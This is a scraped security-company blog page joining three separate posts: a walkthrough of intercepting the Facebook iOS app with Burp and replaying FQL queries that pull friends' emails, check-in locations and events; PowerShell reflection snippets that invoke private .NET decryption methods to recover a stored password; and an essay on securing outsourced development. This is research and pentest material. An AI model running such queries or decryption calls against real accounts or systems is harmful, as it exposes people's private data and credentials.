Facebook has a long and storied history of having confusing security and privacy settings. As of lately, there are three different settings (that I can find) that you can configure to control access to your email address(es). Each of these settings control specific facets of your email address privacy, but in this post we will focus on the third setting in the screen shot below. These settings are responsible for your email privacy, both on your profile and for your friends being able to see your email. This setting can be found by going to your “About” section of your profile and editing your contact information.
The locks are the configuration settings for your emails being accessible (by friends or publicly) and the circles are the configuration settings for for your email showing up in your timeline. The default setting (that I’ve seen) for your email privacy on Facebook is set to “Friends”.
But this is kind of an odd setting to have, as you can’t access or look up a friends email through the web interface of Facebook (assuming it is hidden from the timeline/profile). From what I can tell, this setting is primarily available for importing your Facebook contacts to other services (Gmail, Yahoo, etc.). I find this interesting as most people assume that they have successfully hidden their email adress on Facebook when they choose to not display it on their profile. Most of my friends are currently hiding both email addresses (private and facebook.com addresses) or they are just showing their @facebook.com email address in their profile. However, very few of my friends have their private email address set as available to “Only Me.”
The following walkthrough will go over how to enumerate your available Facebook friends’ email addresses by manipulating traffic from the iOS Facebook application.
The Attack
We’ve previously covered a fewdifferentattacks on the NetSPI blog regarding proxies and iOS apps. This will be yet another example of abusing permissions given to a mobile app to get access to data.
The setup for this attack is pretty simple. We will be using the Burp proxy from Portswigger to intercept the iOS traffic. First, install the Portswigger CA on your iOS device. This is needed to intercept the SSL traffic. Next, proxy your iOS traffic through Burp, and start looking at and modifying/replaying application traffic. I won’t get into the full details here, but the official instructions for setting up the Burp Proxy are here – https://portswigger.net/burp/help/proxy_options_installingCAcert.html#iphone
After opening up the Facebook application, we see the following request in the traffic when we go to look at our messages.
GET /method/fql.multiquery?sdk=ios&queries=%7B%22group_conversations%22%3A%22SELECT%20thread_id%2C%20name%2C%20title%2C%20is_group_conversation%2C%20pic_hash%2C%20participants%2C%20%20thread_fbid%2C%20timestamp%20FROM%20unified_thread%20%20WHERE%20timestamp%20%3E%201378149789000%20and%20folder%3D%27inbox%27%20and%20is_group_conversation%3D1%20%20and%20not%20archived%20order%20by%20timestamp%20desc%20limit%203%20offset%200%22%2C%22group_conversation_participants_profile_pic_urls%22%3A%22SELECT%20id%2C%20size%2C%20url%20FROM%20square_profile_pic%20WHERE%20size%20IN%20%2888%2C%20148%29%20AND%20id%20IN%20%28SELECT%20participants.user_id%20FROM%20%23group_conversations%29%22%2C%22favoriteRanking-Groups%22%3A%22SELECT%20favorite_id%2C%20ordering%2C%20is_group%20FROM%20messaging_favorite%20WHERE%20uid%3Dme%28%29%20and%20is_group%22%2C%22favorites%22%3A%22SELECT%20uid%2C%20is_pushable%2C%20has_messenger%2C%20last_active%20FROM%20user%20WHERE%20uid%20in%20%28SELECT%20favorite_id%20FROM%20messaging_favorite%20WHERE%20uid%3Dme%28%29%29%22%2C%22favoriteRanking%22%3A%22SELECT%20favorite_id%2C%20ordering%2C%20is_group%20FROM%20messaging_favorite%20WHERE%20uid%3Dme%28%29%22%2C%22group_conversations_favorites%22%3A%22SELECT%20thread_id%2C%20name%2C%20title%2C%20is_group_conversation%2C%20%20pic_hash%2C%20participants%2C%20thread_fbid%2C%20timestamp%20FROM%20unified_thread%20WHERE%20thread_fbid%20IN%20%28select%20favorite_id%20from%20%23favoriteRankingGroups%29%22%2C%22group_conversation_participants%22%3A%22SELECT%20id%2C%20name%20FROM%20profile%20WHERE%20id%20IN%20%28SELECT%20participants.user_id%20FROM%20%23group_conversations%29%22%2C%22top_friends%22%3A%22SELECT%20uid%2C%20is_pushable%2C%20has_messenger%2C%20last_active%20FROM%20user%20WHERE%20uid%20in%20%28SELECT%20uid2%20FROM%20friend%20WHERE%20uid1%3Dme%28%29%20order%20by%20communication_rank%20desc%20LIMIT%2015%29%22%7D&sdk_version=2&access_token=REDACTED&format=json&locale=en_US HTTP/1.1 Host: api.facebook.com Proxy-Connection: keep-alive Accept-Encoding: gzip, deflate Accept: */* Cookie: REDACTED Connection: keep-alive Accept-Language: en-us User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 6_1_3 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Mobile/10B329 [FBAN/FBIOS;FBAV/6.4;FBBV/290891;FBDV/iPhone4,1;FBMD/iPhone;FBSN/iPhone OS;FBSV/6.1.3;FBSS/2; FBCR/AT&T;FBID/phone;FBLC/en_US;FBOP/1]
This request selects your conversations along with the information about the people involved in the conversations. It’s a pretty complicated query, but we won’t care about that in a minute. If you want to use this as a tutorial, this is the request that you will want to right-click on and “send to repeater” in Burp.
Here’s the unencoded query:
{"group_conversations":"SELECT thread_id, name, title, is_group_conversation, pic_hash, participants, thread_fbid, timestamp FROM unified_thread WHERE timestamp > 1378149789000 and folder='inbox' and is_group_conversation=1 and not archived order by timestamp desc limit 3 offset 0","group_conversation_participants_profile_pic_urls":"SELECT id, size, url FROM square_profile_pic WHERE size IN (88, 148) AND id IN (SELECT participants.user_id FROM #group_conversations)","favoriteRankingGroups":"SELECT favorite_id, ordering, is_group FROM messaging_favorite WHERE uid=me() and is_group","favorites":"SELECT uid, is_pushable, has_messenger, last_active FROM user WHERE uid in (SELECT favorite_id FROM messaging_favorite WHERE uid=me())","favoriteRanking":"SELECT favorite_id, ordering, is_group FROM messaging_favorite WHERE uid=me()","group_conversations_favorites":"SELECT thread_id, name, title, is_group_conversation, pic_hash, participants, thread_fbid, timestamp FROM unified_thread WHERE thread_fbid IN (select favorite_id from #favoriteRankingGroups)","group_conversation_participants":"SELECT id, name FROM profile WHERE id IN (SELECT participants.user_id FROM #group_conversations)","top_friends":"SELECT uid, is_pushable, has_messenger, last_active FROM user WHERE uid in (SELECT uid2 FROM friend WHERE uid1=me() order by communication_rank desc LIMIT 15)"}
What we’re going to do is make our own query to get more information about our friends. Returned in a nice easy to parse format.
Here’s the query that we’re going to use to select our Friends’ email addresses: {” friends_email”:”SELECT uid, email, contact_email FROM user WHERE uid in (SELECT uid2 FROM friend WHERE uid1=me())”}
You will have to URL encode the spaces in the query, but you can just paste this over the previous query that we intercepted earlier (and passed to repeater) and URL encode it in Burp.
This will select the Facebook User ID, and any email or contact email addresses associated with the account. The UID can also be handy for quickly pulling up someone’s account. i.e. https://www.facebook.com/4
Here’s a sample of what we get back from the query: [{“name”:”friends_email”,”fql_result_set”:[{“uid”:13931306,”email”:”karlu0040example.com”,”contact_email”:”karlu0040example.com”}]}]
So we can access our friends’ email addresses, this may not seem like a big deal for some people, but if you have friends like mine, then your friends may not want their real email address publically available through Facebook. If you can’t tell by the screen shot above, my friends appreciate their privacy.
While we’re requesting stuff that your friends may not want you to have access to, let’s look at some other interesting info that you can access.
Some of my personal favorites:
Location Data for check-ins:
{” friends_locations”:”SELECT coords, message, timestamp FROM location_post WHERE author_uid in (SELECT uid2 FROM friend WHERE uid1=me())”}
Publicly liked pages:
{” URLs_liked”:”SELECT url FROM url_like WHERE user_id =4″}
Events information:
{“z_events”:”SELECT description, host FROM event WHERE creator=4″}
I did reach out to Facebook about this issue, but since this is “intended” functionality, they were not very interested in hearing about this. The functionality of the email privacy setting doesn’t make a whole lot of sense, but I will be setting my email address to private for all of my accounts.
During application assessments, I have stumbled upon several cases when I need to call out a specific function embedded in a .NET assembly (be it .exe or .dll extension). For example, an encrypted database password is found in a configuration file. Using .NET Decompiler, I am able to see and identify the function used to encrypt the database password. The encryption key appears to be static, so if I could call the corresponding decrypt function, I would be able to recover that password.
Classic solution: using Visual Studio to create new project, import encryption library, call out that function if it’s public or use .NET Reflection API if it’s private (or just copy the class to the new workspace, change method accessibility modifier to public and call out the function too if it is self-contained).
Alternative (and hopeful less-time consuming) solution: Powershell could be used in conjunction with .NET Reflection API to invoke methods directly from the imported assemblies, bypassing the need of an IDE and the grueling process of compiling source code.
Note that Powershell version 3 is used in the below examples, and the assembly is developed in C#.
Walkthrough
First, identify the fully qualified class name (typically in the form of Namespace.Classname ), method name, accessibility level, member modifier and method arguments. This can easily be done with any available .NET Decompiler (dotPeek, JustDecompile, Reflector)
Scenario 1: Public static class – Call public static method
namespace AesSample
{
public class AesLibStatic
{
...
public static string DecryptString(string cipherText)
{
return DecryptStringPrivate(StringToByteArray(cipherText));
}
This is the vanilla case, essentially in powershell you just need to call [Namespace].[Classname]::(params[]) And it only took 2 lines of code to do it:
Load all .NET binaries in the folder
Get-ChildItem -recurse "D:DocumentsVisual Studio 2010ProjectsAesSampleAesSamplebinDebug"|Where-Object {($_.Extension -EQ ".dll") -or ($_.Extension -eq ".exe")} | ForEach-Object { $AssemblyName=$_.FullName; Try {[Reflection.Assembly]::LoadFile($AssemblyName)} Catch{ "***ERROR*** Not .NET assembly: " + $AssemblyName}}
#Call public static method
[AesSample.AesLibStatic]::DecryptString("8E3C5A3088CEA26B634CFDA09D13A7DB")
Result:
Scenario 2: Public static class – Call private static method
Let’s say you want to call this private static method, assuming the method name is unique within the class
Private methods can’t be accessed directly from Powershell object, instead you will need to find it by name and correct binding flags. More information about binding flags could be found here: https://msdn.microsoft.com/en-us/library/4ek9c21e.aspx
#Load all .NET binaries in the folder
Get-ChildItem -recurse "D:DocumentsVisual Studio 2010ProjectsAesSampleAesSamplebinDebug"|Where-Object {($_.Extension -EQ ".dll") -or ($_.Extension -eq ".exe")} | ForEach-Object { $AssemblyName=$_.FullName; Try {[Reflection.Assembly]::LoadFile($AssemblyName)} Catch{ "***ERROR*** Not .NET assembly: " + $AssemblyName}}
#Only retrieve static private method
$BindingFlags= [Reflection.BindingFlags] "NonPublic,Static"
#Load method based on name
$PrivateMethod = [AesSample.AesLibStatic].GetMethod("DecryptStringSecret",$bindingFlags)
#Invoke
$PrivateMethod.Invoke($null,"8E3C5A3088CEA26B634CFDA09D13A7DB")
Scenario 2 Extension: Function Overloading: Public static class – Call private static method
In some cases, programmer takes advantage of function overloading feature of Object-Oriented languages – i.e multiple methods can have the same name as long as they have different argument list. For example:
Note that the two DecryptStringPrivate methods have the same name, but one takes a string as input, while another takes a bytearray as input. In this case, to look up the right method, you will need method name and method signature. The snippet below will invoke DecryptStringPrivate(byte[] cipherText)
#Load all .NET binaries in the folder
Get-ChildItem -recurse "D:DocumentsVisual Studio 2010ProjectsAesSampleAesSamplebinDebug"|Where-Object {($_.Extension -EQ ".dll") -or ($_.Extension -eq ".exe")} | ForEach-Object { $AssemblyName=$_.FullName; Try {[Reflection.Assembly]::LoadFile($AssemblyName)} Catch{ "***ERROR*** Not .NET assembly: " + $AssemblyName}}
#Search for private method based on name
$PrivateMethods = [AesSample.AesLibStatic].GetMethods($bindingFlags) | Where-Object Name -eq DecryptStringPrivate
$PrivateMethods | ForEach-Object{
$PrivateMethod=$_
$MethodParams=$PrivateMethod.GetParameters()
$MemberSignature = $MethodParams | Select -First 1 | Select-Object Member
#This will list all the method signatures
$MemberSignature.Member.ToString()
#Choose the correct method based on parameter list
If ($MemberSignature.Member.ToString() -eq "System.String DecryptStringPrivate(Byte[])"){
[byte[]]$Bytes =@(70,1,65,70,155,197,95,238,85,79,190,34,158,69,125,233,53,212,111,19,248,209,147,180,19,172,150,25,97,41,127,175)
[Object[]] $Params=@(,$Bytes)
#Call with the right arguments
$PrivateMethod.Invoke($null,$Params)
}
}
Scenario 3: Public class – Call nonstatic public method
If a class is not declared with “static” keyword, its methods can’t be invoked directly from the class itself but from an instance of the class with the following snippet:
Classname a = new Classname();
a.methodName(args[]);
For example:
namespace AesSample {
public class AesLib {...public string DecryptString(string cipherText) {
return DecryptStringPrivate(StringToByteArray(cipherText));
}
Sample solution:
#Load all .NET binaries in the folder
Get-ChildItem -recurse "D:DocumentsVisual Studio 2010ProjectsAesSampleAesSamplebinDebug"|Where-Object {($_.Extension -EQ ".dll") -or ($_.Extension -eq ".exe")} | ForEach-Object { $AssemblyName=$_.FullName; Try {[Reflection.Assembly]::LoadFile($AssemblyName)} Catch{ "***ERROR*** Not .NET assembly: " + $AssemblyName}}
#Call default constructor (no argument)
$AesSample= New-Object "AesSample.AesLib"
#Call constructor with arguments using this syntax: $AesSample= New-Object "AesSample.AesLib" ("a","b")
#Invoke public method
$AesSample.DecryptString("8E3C5A3088CEA26B634CFDA09D13A7DB")
Scenario 4: Public class: Function Overloading – Call nonstatic private method
This is very similar to Scenario 2: extension above. Again you will need both method name and argument list to call the right method.
#Load all .NET binaries in the folder
Get-ChildItem -recurse "D:DocumentsVisual Studio 2010ProjectsAesSampleAesSamplebinDebug"|Where-Object {($_.Extension -EQ ".dll") -or ($_.Extension -eq ".exe")} | ForEach-Object { $AssemblyName=$_.FullName; Try {[Reflection.Assembly]::LoadFile($AssemblyName)} Catch{ "***ERROR*** Not .NET assembly: " + $AssemblyName}}
#Call constructor
$Instance= New-Object "AesSample.AesLib" ("a","b")
# Find private nonstatic method. If you want to invoke static private method, replace Instance with Static
$BindingFlags= [Reflection.BindingFlags] "NonPublic,Instance"
$Instance.GetType().GetMethods($BindingFlags) | Where-Object Name -eq DecryptStringPrivate| ForEach-Object{
$PrivateMethod=$_
$MethodParams=$PrivateMethod.GetParameters()
$MemberSignature = $MethodParams | Select -First 1 | Select-Object Member
$MemberSignature.Member.ToString()
If ($MemberSignature.Member.ToString() -eq "System.String DecryptStringPrivate(Byte[])"){
[byte[]]$Bytes =@(70,1,65,70,155,197,95,238,85,79,190,34,158,69,125,233,53,212,111,19,248,209,147,180,19,172,150,25,97,41,127,175)
[Object[]] $Params=@(,$Bytes)
# You will need to pass the Instance here instead of $null
$PrivateMethod.Invoke($Instance,$Params)
}
}
Closing thoughts:
I didn’t include code to call out methods from private class in this post. Mainly because usually you can find a public class that reference to private class if it needs to use some methods of the private class, and then you can just invoke the calling method of the public class instead.
Those snippets work under assumption that all necessary .NET assemblies are located in the same folder. If other externally-linked .NET assemblies are required, add additional code to load them into memory.
Same with externally-linked native assemblies: either set them in your PATH environment variable, manually copy them to C:Windowssystem32 (not recommended) or load them with Powershell’s DllImport: https://blogs.msdn.com/b/mattbie/archive/2010/02/23/how-to-call-net-and-win32-methods-from-powershell-and-your-troubleshooting-packs.aspx
This method may also be useful in situations where you can’t decompile the application’s assemblies due to legal constraints. Consult with client or your contact before doing this, but it may be OK to list assembly’s methods and call them when necessary. This snippet will import all assemblies found in a folder and list all the constructors, methods along with argument list in a Powershell GridView (it’s kind of like mini-Excel so you have built-in search and filter features)
I have been reading a few articles on outsourcing application development. Many of them have good information on what to look for and how to work with the companies doing the development. However, I have yet to see any of these articles talk about security and how to handle that in the outsourcing process.
In any development process, either in-sourced or out-sourced, security needs to be considered. The developers need to be trained in secure coding techniques, and the architects have to have some training and experience on implementing security throughout the software development life cycle. In fact, these should never be excluded or glossed over. The development company you are considering needs to prove this and these requirements must be written into the contract. Have them show you the classes that these people have taken, and make sure they are up-to-date on the latest security vulnerabilities. You cannot have a developer take a course five years ago and consider their skills current.
What about after the code is completed? Do your contracts specify a security review? Both an application penetration test and code review must be done before the release of the application. The contract must also specify that any security vulnerabilities must be mitigated. It must also specify that the test will repeat until all high and medium level vulnerabilities are mitigated. Also, have the security testing done by your own company or a third party. It does not matter where the developers are from; it could be India, China, or the United States, there are bad or malicious programmers out there and you must trust them but verify their work.
Necessary cookies help make a website usable by enabling basic functions like page navigation and access to secure areas of the website. The website cannot function properly without these cookies.
Name
Domain
Purpose
Expiry
Type
YSC
youtube.com
YouTube session cookie.
52 years
HTTP
Marketing cookies are used to track visitors across websites. The intention is to display ads that are relevant and engaging for the individual user and thereby more valuable for publishers and third party advertisers.
Name
Domain
Purpose
Expiry
Type
VISITOR_INFO1_LIVE
youtube.com
YouTube cookie.
6 months
HTTP
Analytics cookies help website owners to understand how visitors interact with websites by collecting and reporting information anonymously.
We do not use cookies of this type.
Preference cookies enable a website to remember information that changes the way the website behaves or looks, like your preferred language or the region that you are in.
We do not use cookies of this type.
Unclassified cookies are cookies that we are in the process of classifying, together with the providers of individual cookies.
We do not use cookies of this type.
Cookies are small text files that can be used by websites to make a user's experience more efficient. The law states that we can store cookies on your device if they are strictly necessary for the operation of this site. For all other types of cookies we need your permission. This site uses different types of cookies. Some cookies are placed by third party services that appear on our pages.
Cookie Settings
Discover why security operations teams choose NetSPI.